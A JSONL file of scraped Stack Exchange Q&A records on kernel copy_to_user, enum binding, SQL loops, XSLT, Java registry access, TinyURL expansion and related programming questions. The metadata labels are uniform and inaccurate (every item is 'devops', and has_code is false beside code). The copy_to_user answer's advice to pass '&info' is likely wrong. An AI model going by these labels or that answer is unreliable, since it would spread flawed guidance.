{"id": "hf_e23e8ef56b62", "question": "<p>I am attempting to copy a custom struct from kernel space to user space. inside user space errno returns 'bad address'.  What is the usual cause of a bad address error?</p>\n\n<pre><code>if(copy_to_user(info, &amp;kernel_info, sizeof(struct prinfo)))\n</code></pre>\n", "question_body": "", "answer": "Bad Address error means that the address location that you have given is invalid. With the case you have above I would guess it is because you are passing a copy of\n```\ninfo\n```\ninstead of a pointer to\n```\ninfo\n```\n's memory location.\nLooking at the docs,\n```\ncopy_to_user\n```\nis defined as\n```\n```\ncopy_to_user(void __user * to, const void * from, unsigned long n);\n```\n```\nSo unless your\n```\ninfo\n```\nvariable is a pointer I would update your code to be:\n```\n```\nif(copy_to_user(&info, &kernel_info, sizeof(struct prinfo)) ) {\n    //some stuff here i guess\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.053923"}
{"id": "hf_43d5c85a4c47", "question": "<p>I want to embed a wikipedia article into a page but I don't want all the wrapper (navigation, etc.) that sits around the articles.  I saw it done here: <a href=\"http://www.dayah.com/periodic/\" rel=\"nofollow noreferrer\">http://www.dayah.com/periodic/</a>.  Click on an element and the iframe is displayed and links to the article only (no wrapper).  So how'd they do that?  Seems like JavaScript handles showing the iframe and constructing the href but after browsing the pages javascript (<a href=\"http://www.dayah.com/periodic/Script/interactivity.js\" rel=\"nofollow noreferrer\">http://www.dayah.com/periodic/Script/interactivity.js</a>) I still can't figure out how the url is built.  Thanks.</p>\n", "question_body": "", "answer": "You could always download the site and scrap it. I think everything inside\n```\n<div id=\"bodyContent\">\n```\nis the content of the article - sans navigation, header, footer, etc..\nDon't forget to credit. ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.090393"}
{"id": "hf_3b26c3c40ab8", "question": "<p>Let's say I have the following simple enum:</p>\n\n<pre><code>enum Response\n{\n    Yes = 1,\n    No = 2,\n    Maybe = 3\n}\n</code></pre>\n\n<p>How can I bind this enum to a DropDownList control so that the descriptions are displayed in the list as well as retrieve the associated numeric value (1,2,3) once an option has been selected?</p>\n", "question_body": "", "answer": "I probably wouldn't\nbind\nthe data as it's an enum, and it won't change after compile time (unless I'm having one of those\nstoopid\nmoments).\nBetter just to iterate through the enum:\n```\n```\nDim itemValues As Array = System.Enum.GetValues(GetType(Response))\nDim itemNames As Array = System.Enum.GetNames(GetType(Response))\n\nFor i As Integer = 0 To itemNames.Length - 1\n    Dim item As New ListItem(itemNames(i), itemValues(i))\n    dropdownlist.Items.Add(item)\nNext\n```\n```\nOr the same in C#\n```\n```\nArray itemValues = System.Enum.GetValues(typeof(Response));\nArray itemNames = System.Enum.GetNames(typeof(Response));\n\nfor (int i = 0; i <= itemNames.Length - 1 ; i++) {\n    ListItem item = new ListItem(itemNames[i], itemValues[i]);\n    dropdownlist.Items.Add(item);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.162829"}
{"id": "hf_747b2af7fc11", "question": "<p>Let's say I have the following simple table variable:</p>\n\n<pre><code>declare @databases table\n(\n    DatabaseID    int,\n    Name        varchar(15),   \n    Server      varchar(15)\n)\n-- insert a bunch rows into @databases\n</code></pre>\n\n<p>Is declaring and using a cursor my only option if I wanted to iterate through the rows? Is there another way?</p>\n", "question_body": "", "answer": "You can use a while loop:\n```\n```\nWhile (Select Count(*) From #TempTable) > 0\nBegin\n    Insert Into @Databases...\n\n    Delete From #TempTable Where x = x\nEnd\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.217203"}
{"id": "hf_46afe3192b3d", "question": "<p>Best recommendations for accessing and manipulation of sqlite databases from JavaScript.</p>\n", "question_body": "", "answer": "Well, if you are working on client side JavaScript, I think you will be out of luck... browsers tend to sandbox the JavaScript environment so you don't have access to the machine in any kind of general capacity like accessing a database.\nIf you are talking about an SQLite DB on the server end accessed from the client end, you could set up an AJAX solution that invokes some server side code to access it.\nIf you are talking about Rhino or some other server side JavaScript, you should look into the host language's API access into SQLite (such as the JDBC for Rhino).\nPerhaps clarify your question a bit more...?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.241380"}
{"id": "hf_a53bdd3de838", "question": "<p>Given the following XML:</p>\n\n<pre><code>&lt;current&gt;\n  &lt;login_name&gt;jd&lt;/login_name&gt;\n&lt;/current&gt;\n&lt;people&gt;\n  &lt;person&gt;\n    &lt;first&gt;John&lt;/first&gt;\n    &lt;last&gt;Doe&lt;/last&gt;\n    &lt;login_name&gt;jd&lt;/login_name&gt;\n  &lt;/preson&gt;\n  &lt;person&gt;\n    &lt;first&gt;Pierre&lt;/first&gt;\n    &lt;last&gt;Spring&lt;/last&gt;\n    &lt;login_name&gt;ps&lt;/login_name&gt;\n  &lt;/preson&gt;\n&lt;/people&gt;\n</code></pre>\n\n<p>How can I get \"John Doe\" from within the current/login matcher?</p>\n\n<p>I tried the following:</p>\n\n<pre><code>&lt;xsl:template match=\"current/login_name\"&gt;\n  &lt;xsl:value-of select=\"../people/first[login_name = .]\"/&gt;\n  &lt;xsl:text&gt; &lt;/xsl:text&gt;\n  &lt;xsl:value-of select=\"../people/last[login_name = .]\"/&gt;\n&lt;/xsl:template&gt;\n</code></pre>\n", "question_body": "", "answer": "I think what he actually wanted was the replacement in the match for the \"current\" node, not a match in the person node:\n```\n```\n<xsl:variable name=\"login\" select=\"//current/login_name/text()\"/>\n\n<xsl:template match=\"current/login_name\">\n<xsl:value-of select='concat(../../people/person[login_name=$login]/first,\" \", ../../people/person[login_name=$login]/last)'/>\n\n</xsl:template>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.266064"}
{"id": "hf_c5e633ec9a82", "question": "<p>I was wondering if anybody knew of a method to configure apache to fall back to returning a static HTML page, should it (Apache) be able to determine that PHP has died?  This would provide the developer with a elegant solution to displaying an error page and not (worst case scenario) the source code of the PHP page that should have been executed.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "I would assume that this typically results in a 500 error, and you can configure apaches 500 handler to show a static page:\nErrorDocument 500 /500error.html\nYou can also read about error handlers on\napaches documentation site", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.290818"}
{"id": "hf_0f6aa55be3b2", "question": "<p>I'm trying to construct a find command to process a bunch of files in a directory using two different executables.  Unfortunately, <code>-exec</code> on find doesn't allow to use pipe or even <code>\\|</code> because the shell interprets that character first.  </p>\n\n<p>Here is specifically what I'm trying to do (which doesn't work because pipe ends the find command):</p>\n\n<pre><code>find /path/to/jpgs -type f -exec jhead -v {} | grep 123 \\; -print\n</code></pre>\n", "question_body": "", "answer": "As this outputs a list would you not :\n```\n```\nfind /path/to/jpgs -type f -exec jhead -v {} \\; | grep 123\n```\n```\nor\n```\n```\nfind /path/to/jpgs -type f -print -exec jhead -v {} \\; | grep 123\n```\n```\nPut your grep on the results of the find -exec.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.364176"}
{"id": "hf_b767687d263f", "question": "<p>I need to build something that starts serving a H.264 encoded video to a flash player halfway through the file (to support skipping to a point in the video that has not been buffered yet). </p>\n\n<p>Currently, the videos are in the FLV container format, but transcoding is an option. I managed to re-write the file header and metadata information for a given byte offset. This works for older videos, but not for H.264 encoded files. I suspect this is because the video tags inside the file also have to be altered, which is not feasible (it would take too much processing power).</p>\n\n<p>What is the \"proper\" way to do it?</p>\n", "question_body": "", "answer": "@yoavf - I think the OP is interested in server-side aspects of streaming on-demand h.264 inside of FLV files.  Reuse of existing players would be nice for him, I think.  Or maybe that is my own needs coming out?  <:S\nFrom yoavf's second link, there is another link to Tinic Uro's\nWhat just happened to video on the web?\n.  A relevant quote:\nWill it be possible to place H.264 streams into the traditional FLV file structure? It will, but we strongly encourage everyone to embrace the new standard file format. There are functional limits with the FLV structure when streaming H.264 which we could not overcome without a redesign of the file format. This is one reason we are moving away from the traditional FLV file structure. Specifically dealing with sequence headers and enders is tricky with FLV streams.\nSo, it seems one can either tinker with ffmpeg encoding (if that is how you are getting your FLVs, like I am) or one can get into the new format.  Hmmmm....", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.388451"}
{"id": "hf_1f53db15e2f5", "question": "<p>I am trying to get some accurate runtime comparisons of PHP vs Python (and potentially any other language that I have to include). Timing within a script is not my problem but timing within a script does not account for everything from the moment the request is made to run the script to output.</p>\n\n<blockquote>\n  <p>1) Is it actually worth taking such things into account?</p>\n  \n  <p>2) Assuming it is worth taking it into account, how do I do this?</p>\n</blockquote>\n\n<p>I'm using a Mac so I've got access to Linux commands and I'm not afraid to compile/create a command to help me, I just don't know how to write such a command.</p>\n", "question_body": "", "answer": "If your idea is to compare the languages, I'd say anything outside them is not relevant for comparison purposes.\nNonetheless you can use the time command to measure everything and can compare it with the timing within a script.\nLike this:\n```\n```\n$ time script.php\nHI!\n\nreal    0m3.218s\nuser    0m0.080s\nsys     0m0.064s\n```\n```\nIt will give you clock time, user time (php interpreter) and sys time (OS time)\nIf you are thinking web, then it gets a lot harder because you would be mixing webserver overhead and that is not always easy to compare if, say, you are using WSGI v/s mod_php. Then you'd have to hook probes into the webserving parts of the chain as well", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.440905"}
{"id": "hf_ee40dba745ed", "question": "<p>I am using Adobe Flex/Air here, but as far as I know this applies to all of JavaScript. I have come across this problem a few times, and there must be an easy solution out there!</p>\n\n<p>Suppose I have the following XML (using e4x):</p>\n\n<pre><code>var xml:XML = &lt;root&gt;&lt;example&gt;foo&lt;/example&gt;&lt;/root&gt;\n</code></pre>\n\n<p>I can change the contents of the example node using the following code:</p>\n\n<pre><code>xml.example = \"bar\";\n</code></pre>\n\n<p>However, if I have this:</p>\n\n<pre><code>var xml:XML = &lt;root&gt;foo&lt;/root&gt;\n</code></pre>\n\n<p>How do i change the contents of the root node?</p>\n\n<pre><code>xml = \"bar\";\n</code></pre>\n\n<p>Obviously doesn't work as I'm attempting to assign a string to an XML object.</p>\n", "question_body": "", "answer": "If you're trying to change the root element of a document, you don't really need to-- just throw out the existing document and replace it. Alternatively, just wrap your  element in a more proper root element (you shouldn't be editing the root node anyway) and you'd be set.\nOf course, that doesn't answer your question. There's an ugly JS hack that can do what you want, but bear in mind that it's likely far slower than doing the above. Anyway, here it is:\n```\n```\nvar xml = <root>foo</root>; // </fix_syntax_highlighter>\nvar parser = new DOMParser();\nvar serializer = new XMLSerializer();\n\n// Parse xml as DOM document\n// Must inject \"<root></root>\" wrapper because  \n// E4X's toString() method doesn't give it to us\n// Not sure if this is expected behaviour.. doesn't seem so to me.\nvar xmlDoc = parser.parseFromString(\"<root>\" + \n  xml.toString() + \"</root>\", \"text/xml\");\n\n// Make the change\nxmlDoc.documentElement.firstChild.nodeValue = \"CHANGED\";\n\n// Serialize back to string and then to E4X XML()\nxml = new XML(serializer.serializeToString(xmlDoc));\n```\n```\nYou can ignore the fix_syntax_highlighter comment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.465761"}
{"id": "hf_2e18eaa5bfa5", "question": "<p>I've just heard the term covered index in some database discussion - what does it mean?</p>\n", "question_body": "", "answer": "A\ncovering index\nis an index that contains all of, and possibly more, the columns you need for your query.\nFor instance, this:\n```\n```\nSELECT *\nFROM tablename\nWHERE criteria\n```\n```\nwill typically use indexes to speed up the resolution of which rows to retrieve using\ncriteria\n, but then it will go to the full table to retrieve the rows.\nHowever, if the index contained the columns\ncolumn1, column2\nand\ncolumn3\n, then this sql:\n```\n```\nSELECT column1, column2\nFROM tablename\nWHERE criteria\n```\n```\nand, provided that particular index could be used to speed up the resolution of which rows to retrieve, the index already contains the values of the columns you're interested in, so it won't have to go to the table to retrieve the rows, but can produce the results directly from the index.\nThis can also be used if you see that a typical query uses 1-2 columns to resolve which rows, and then typically adds another 1-2 columns, it could be beneficial to append those extra columns (if they're the same all over) to the index, so that the query processor can get everything from the index itself.\nHere's an\narticle: Index Covering Boosts SQL Server Query Performance\non the subject.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.543644"}
{"id": "hf_563223a5cd0e", "question": "<p>I've been wondering what exactly are the principles of how the two properties work. I know the second one is universal and basically doesn't deal with time zones, but can someone explain in detail how they work and which one should be used in what scenario?</p>\n", "question_body": "", "answer": "DateTime.UtcNow\ntells you the date and time as it would be in Coordinated Universal Time, which is also called the Greenwich Mean Time time zone - basically like it would be if you were in London England, but not during the summer.\nDateTime.Now\ngives the date and time as it would appear to someone in your current locale.\nI'd recommend using\n```\nDateTime.Now\n```\nwhenever you're displaying a date to a human being - that way they're comfortable with the value they see - it's something that they can easily compare to what they see on their watch or clock. Use\n```\nDateTime.UtcNow\n```\nwhen you want to store dates or use them for later calculations that way (in a client-server model) your calculations don't become confused by clients in different time zones from your server or from each other.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.586335"}
{"id": "hf_15578de11f01", "question": "<p>Several times now I've been faced with plans from a team that wants to build their own bug tracking system - Not as a product, but as an internal tool.</p>\n\n<p>The arguments I've heard in favous are usually along the lines of :</p>\n\n<ul>\n<li>Wanting to 'eat our own dog food' in terms of some internally built web framework</li>\n<li>Needing some highly specialised report, or the ability to tweak some feature in some allegedly unique way</li>\n<li>Believing that it isn't difficult to build a bug tracking system</li>\n</ul>\n\n<p>What arguments might you use to support buying an existing bug tracking system? In particular, what features sound easy but turn out hard to implement, or are difficult and important but often overlooked?</p>\n", "question_body": "", "answer": "The most basic argument for me would be the time loss. I doubt it could be completed in less than a month or two. Why spend the time when there are soooo many good bug tracking systems available? Give me an example of a feature that you have to tweak and is not readily available.\nI think a good bug tracking system has to reflect your development process. A very custom development process is inherently bad for a company/team. Most agile practices favor\nScrum\nor these kinds of things, and most bug tracking systems are in line with such suggestions and methods. Don't get too bureaucratic about this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.610488"}
{"id": "hf_6150d7a47d4b", "question": "<p>To commemorate the public launch of Stack Overflow, what's the shortest code to cause a stack overflow? Any language welcome.</p>\n\n<p>ETA: Just to be clear on this question, seeing as I'm an occasional Scheme user: tail-call \"recursion\" is really iteration, and any solution which can be converted to an iterative solution relatively trivially by a decent compiler won't be counted. :-P</p>\n\n<p>ETA2: I've now selected a “best answer”; see <a href=\"https://stackoverflow.com/questions/62188/stack-overflow-code-golf/71833#71833\">this post</a> for rationale. Thanks to everyone who contributed! :-)</p>\n", "question_body": "", "answer": "My current best (in x86 assembly) is:\n```\n```\npush eax\njmp short $-1\n```\n```\nwhich results in 3 bytes of object code (\n```\n50 EB FD\n```\n). For 16-bit code, this is also possible:\n```\n```\ncall $\n```\n```\nwhich also results in 3 bytes (\n```\nE8 FD FF\n```\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.658874"}
{"id": "hf_ce539adc6edd", "question": "<p>An instance of class A instantiates a couple of other objects, say for example from class B:</p>\n\n<pre><code>$foo = new B();\n</code></pre>\n\n<p>I would like to access A's public class variables from methods within B.</p>\n\n<p>Unless I'm missing something, the only way to do this is to pass the current object to the  instances of B:</p>\n\n<pre><code>$foo = new B($this);\n</code></pre>\n\n<p>Is this best practice or is there another way to do this?</p>\n", "question_body": "", "answer": "I would first check if you are not using the wrong pattern: From your application logic, should B really know about A? If B needs to know about A, a parent-child relationship seems not quite adequate. For example, A could be the child, or part of A's logic could go into a third object that is \"below\" B in the hierarchy (i. e. doesn't know about B).\nThat said, I would suggest you have a method in B to register A as a data source, or create a method in A to register B as an\nObserver\nand a matching method in B that A uses to notify B of value changes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.708510"}
{"id": "hf_02d30be17c29", "question": "<p>Is there an easy way to avoid dealing with text encoding problems?</p>\n", "question_body": "", "answer": "The obvious names for these classes are ReaderInputStream and WriterOutputStream. Unfortunately these are not included in the Java library. However, google is your friend.\nI'm not sure that it is going to get around all text encoding problems, which are nightmarish.\nThere is an RFE,\nbut it's Closed, will not fix.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.757802"}
{"id": "hf_08ae56f616f9", "question": "<p>I am trying to refactor some code I have for software that collects current status of agents in a call queue. Currently, for each of the 6 or so events that I listen to, I check in a Mnesia table if an agent exists and change some values in the row depending on the event or add it as new if the agent doesn't exist. Currently I have this Mnesia transaction in each event and of course that is a bunch of repeated code for checking the existence of agents and so on. </p>\n\n<p>I'm trying to change it so that there is one function like <em>change_agent/2</em> that I call from the events that handles this for me. </p>\n\n<p>My problems are of course records.... I find no way of dynamically creating them or merging 2 of them together or anything. Preferably there would be a function I could call like:</p>\n\n<pre><code>change_agent(\"001\", #agent(id = \"001\", name = \"Steve\")).\nchange_agent(\"001\", #agent(id = \"001\", paused = 0, talking_to = \"None\")).\n</code></pre>\n", "question_body": "", "answer": "It is difficult to write generic access functions for records.\nOne workaround for this is the\n'exprecs'\nlibrary, which\nwill generate code for low-level record access functions.\nThe thing you need to do is to add the following lines to \na module:\n```\n```\n-compile({parse_transform, exprecs}).\n-export_records([...]).  % name the records that you want to 'export'\n```\n```\nThe naming convention for the access functions may look strange, but was inspired by a proposal from Richard O'Keefe. It is, at least, consistent, and unlikely to clash with existing functions. (:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.782502"}
{"id": "hf_b461d07b3b22", "question": "<p>I recently asked about <a href=\"https://stackoverflow.com/questions/39742/does-git-have-anything-like-svn-propset-svnkeywords-or-pre-post-commit-hooks\">keyword expansion in Git</a> and I'm willing to accept the design not to really support this idea in Git. </p>\n\n<p>For better or worse, the project I'm working on at the moment requires SVN keyword expansion like this:</p>\n\n<pre><code>svn propset svn:keywords \"Id\" expl3.dtx\n</code></pre>\n\n<p>to keep this string up-to-date:</p>\n\n<pre><code>$Id: expl3.dtx 803 2008-09-11 14:01:58Z will $\n</code></pre>\n\n<p>But I would quite like to use Git to do my version control. Unfortunately, git-svn doesn't support this, according to the docs:</p>\n\n<blockquote>\n  <p>\"We ignore all SVN properties except svn:executable\"</p>\n</blockquote>\n\n<p>But it doesn't seem too tricky to have this keyword stuff emulated by a couple of pre/post commit hooks. Am I the first person to want this? Does anyone have some code to do this?</p>\n", "question_body": "", "answer": "You could set the ident attribute on your files, but that would produce strings like\n```\n```\n$Id: deadbeefdeadbeefdeadbeefdeadbeefdeadbeef$\n```\n```\nwhere\n```\ndeadbeef...\n```\nis the sha1 of the blob corresponding to that file. If you really need that keyword expansion, and you need it in the git repo (as opposed to an exported archive), I think you're going to have to go with the\n```\nident\n```\ngitattribute with a custom script that does the expansion for you. The problem with just using a hook is then the file in the working tree wouldn't match the index, and git would think it's been modified.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.806386"}
{"id": "hf_2a1a0dbe9289", "question": "<p>I have a winform app that calls a web service to check for updates.  This works in dev and it also works everywhere else I've tried it, just not on the installed copy on my machine (which happens to be the same in dev).</p>\n\n<p>The error is:</p>\n\n<p>Cannot execute a program. The command being executed was \"C:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe\" /noconfig /fullpaths @\"C:\\Documents and Settings\\Giovanni.DOUBLE-AFSSZ043\\Local Settings\\Temp\\squ8oock.cmdline\".</p>\n\n<p>The firewall is disabled and I've looked for \"C:\\Documents and Settings\\Giovanni.DOUBLE-AFSSZ043\\Local Settings\\Temp\\squ8oock.cmdline\" and it is not there.  Note that every time I try to use the web service the \".cmdline\" file is different, for example the second time I ran it it was \"dae8rgen.cmdline.\"  No matter what name it has, I can never find the file.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "The \".cmdline\" file is an autogenerated file produced by the .NET framework. The application is attempting to real-time compile an XML Serializer used to parse the data from the web service.\nHave you verified that you can execute \"csc.exe\" from a command-line window? Even just typing \"C:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe /?\" should get you a list of compiler options (or should give you an error if you don't have permissions to execute it).\nWhat user account are you running this under, and does it have permissions to execute .exe files in the windows directory? Similarly, I know you said this happens with the installed copy on your machine, but is it possible it's executing off a network share and receiving limited Code Access Security permissions which would prevent it from running local executables?\nFor reference, here is a KB article showing a similar error that can occur in ASP.NET when the user account doesn't have enough permissions.\nhttp://support.microsoft.com/kb/315904", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.830871"}
{"id": "hf_2a3905be9f2e", "question": "<p>How is it possible to read/write to the Windows registry using Java?</p>\n", "question_body": "", "answer": "Yes, using the java.util.Preferences API, since the Windows implementation of it uses the Registry as a backend.\nIn the end it depends on what you're wanting to do: storing preferences for your app is what the Preferences does just great. If you're wanting to actually change registry keys not having to do with your app, you'll need some JNI app, as described by Mark (shameless steal here):\nFrom a quick google:\nCheck the WinPack for JNIWrapper. It has full Windows Registry access support including Reading and Writing.\nThe WinPack Demo has Registry Viewer implemented as an example.\nCheck at\nhttp://www.teamdev.com/jniwrapper/winpack/#registry_access\nAnd...\nThere is also try JNIRegistry @\nhttp://www.trustice.com/java/jnireg/\nThere is also the option of invoking an external app, which is responsible for reading / writing the registry.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.867358"}
{"id": "hf_0e019f29968b", "question": "<p>In PHP, how can I replicate the expand/contract feature for Tinyurls as on search.twitter.com?</p>\n", "question_body": "", "answer": "If you want to find out where a tinyurl is going, use fsockopen to get a connection to tinyurl.com on port 80, and send it an HTTP request like this\n```\n```\nGET /dmsfm HTTP/1.0\nHost: tinyurl.com\n```\n```\nThe response you get back will look like\n```\n```\nHTTP/1.0 301 Moved Permanently\nConnection: close\nX-Powered-By: PHP/5.2.6\nLocation: http://en.wikipedia.org/wiki/TinyURL\nContent-type: text/html\nContent-Length: 0\nDate: Mon, 15 Sep 2008 12:29:04 GMT\nServer: TinyURL/1.6\n```\n```\nexample code...\n```\n```\n<?php\n$tinyurl=\"dmsfm\";\n\n$fp = fsockopen(\"tinyurl.com\", 80, $errno, $errstr, 30);\nif (!$fp) {\n    echo \"$errstr ($errno)<br />\\n\";\n} else {\n    $out = \"GET /$tinyurl HTTP/1.0\\r\\n\";\n    $out .= \"Host: tinyurl.com\\r\\n\";\n    $out .= \"Connection: Close\\r\\n\\r\\n\";\n\n    $response=\"\";\n\n    fwrite($fp, $out);\n    while (!feof($fp)) {\n        $response.=fgets($fp, 128);\n    }\n    fclose($fp);\n\n    //now parse the Location: header out of the response\n\n}\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.915785"}
{"id": "hf_fbbcefebad7e", "question": "<p>I have a solution with multiple project. I am trying to optimize AssemblyInfo.cs files by linking one solution wide assembly info file. What are the best practices for doing this? Which attributes should be in solution wide file and which are project/assembly specific?</p>\n\n<hr>\n\n<p><em>Edit: If you are interested there is a follow up question <a href=\"https://stackoverflow.com/questions/64602/what-are-differences-between-assemblyversion-assemblyfileversion-and-assemblyin\">What are differences between AssemblyVersion, AssemblyFileVersion and AssemblyInformationalVersion?</a></em></p>\n", "question_body": "", "answer": "Using a single AseemblyInfo.cs file for multiple projects is not recommended.\nThe AssemblyInfo file includes information that might be relevant only for that specific assembly. The two most obvious pieces of information are the\n```\nAssemblyTitle\n```\nand\n```\nAssemblyVersion\n```\n.\nA better solution might be to use\n```\ntargets\n```\nfile, which are handled by the MSBuild, in order to \"inject\" assembly attributes to more than one project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:15.988350"}
{"id": "hf_620f916c0265", "question": "<p>Say I have an ASMX web service, MyService.  The service has a method, MyMethod.  I could execute MyMethod on the server side as follows:</p>\n\n<pre><code>MyService service = new MyService();\nservice.MyMethod();\n</code></pre>\n\n<p>I need to do similar, with service and method not known until runtime.  </p>\n\n<p>I'm assuming that reflection is the way to go about that.  Unfortunately, I'm having a hard time making it work.  When I execute this code:</p>\n\n<pre><code>Type.GetType(\"MyService\", true);\n</code></pre>\n\n<p>It throws this error:</p>\n\n<blockquote>\n  <p>Could not load type 'MyService' from assembly 'App_Web__ktsp_r0, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null'.</p>\n</blockquote>\n\n<p>Any guidance would be appreciated.</p>\n", "question_body": "", "answer": "I'm not sure if this would be the best way to go about it.  The most obvious way to me, would be to make an HTTP Request, and call the webservice using an actual HTTP GET or POST. Using your method, I'm not entirely sure how you'd set up the data you are sending to the web service. I've added some sample code in VB.Net\n```\n```\nDim HTTPRequest As HttpWebRequest\nDim HTTPResponse As HttpWebResponse\nDim ResponseReader As StreamReader\nDim URL AS String\nDim ResponseText As String\n\nURL = \"http://www.example.com/MyWebSerivce/MyMethod?arg1=A&arg2=B\"\n\nHTTPRequest = HttpWebRequest.Create(URL)\nHTTPRequest.Method = \"GET\"\n\nHTTPResponse = HTTPRequest.GetResponse()\n\nResponseReader = New StreamReader(HTTPResponse.GetResponseStream())\nResponseText = ResponseReader.ReadToEnd()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.013869"}
